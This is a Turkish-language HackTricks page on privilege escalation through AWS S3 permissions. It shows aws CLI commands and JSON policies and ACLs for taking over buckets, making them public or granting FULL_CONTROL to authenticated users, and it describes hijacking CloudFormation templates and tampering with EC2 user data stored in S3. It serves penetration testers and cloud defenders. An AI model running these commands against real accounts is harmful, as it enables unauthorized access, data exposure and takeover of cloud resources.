AWS - S3 Privesc

htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'ı desteklemenin diğer yolları:

S3

s3:PutBucketNotification, s3:PutObject, s3:GetObject

Bu izinlere sahip bir saldırgan, ilgi çekici kovalarda kaynakları ele geçirebilir ve ayrıcalıkları yükseltebilir.

Örneğin, "cf-templates-nohnwfax6a6i-us-east-1" adlı bir cloudformation kovasına sahip bir saldırgan, bu izinlerle dağıtımı ele geçirebilir. Erişim, aşağıdaki politika ile verilebilir:

{
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Action":[
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"],
"Resource":[
"arn:aws:s3:::cf-templates-*\/*",
"arn:aws:s3:::cf-templates-*"]
},
{
"Effect":"Allow",
"Action":"s3:ListAllMyBuckets",
"Resource":"*"
}]
}

Ve kaçırma işlemi, şablonun kovaya yüklenmesiyle şablonun dağıtılması arasında küçük bir zaman penceresi olduğu için mümkündür. Bir saldırgan, kendi hesabında bir lambda işlevi oluşturabilir ve bir kova bildirimi gönderildiğinde tetiklenir, bu da o kovanın içeriğini ele geçirir.

Pacu modülü cfn__resouce_injection bu saldırıyı otomatikleştirmek için kullanılabilir. Daha fazla bilgi için orijinal araştırmaya bakın: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/

s3:PutObject, s3:GetObject

Bu, S3'e nesne alma ve yükleme izinleridir. AWS içindeki (ve dışındaki) birçok hizmet, yapılandırma dosyalarını depolamak için S3 depolamasını kullanır. Bunlara okuma erişimi olan bir saldırgan, bunlarda hassas bilgiler bulabilir. Bunlara yazma erişimi olan bir saldırgan, verileri değiştirerek bazı hizmetleri kötüye kullanabilir ve ayrıcalıkları yükseltmeye çalışabilir. İşte bazı örnekler:

  • Bir EC2 örneği, kullanıcı verilerini bir S3 kovasında depoluyorsa, bir saldırgan bunu değiştirerek EC2 örneği içinde keyfi kodu yürütebilir.

s3:PutBucketPolicy

Bu izne sahip bir saldırgan, aynı hesaptan olması gereken, aksi takdirde Belirtilen yöntem izin verilmez hatası tetiklenecektir, kova(lar) üzerinde kendisine daha fazla izin verebilecek ve kovaları okuma, yazma, değiştirme, silme ve açığa çıkarma yeteneğine sahip olacaktır.

# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}

s3:GetBucketAcl, s3:PutBucketAcl

Bir saldırgan, bu izinleri kullanarak belirli kovalara karşı daha fazla erişim kazanabilir. Saldırganın aynı hesaptan olması gerekmez. Dahası, yazma erişimi de olabilir.

# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectAcl

Bir saldırgan, bu izinleri kullanarak kovalarda belirli nesneler üzerinde daha fazla erişim elde etmek için bunları istismar edebilir.

# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectVersionAcl

Bu yetkilere sahip bir saldırganın belirli bir nesne sürümüne Acl ekleyebilmesi beklenir.

aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'ı desteklemenin diğer yolları:

Last updated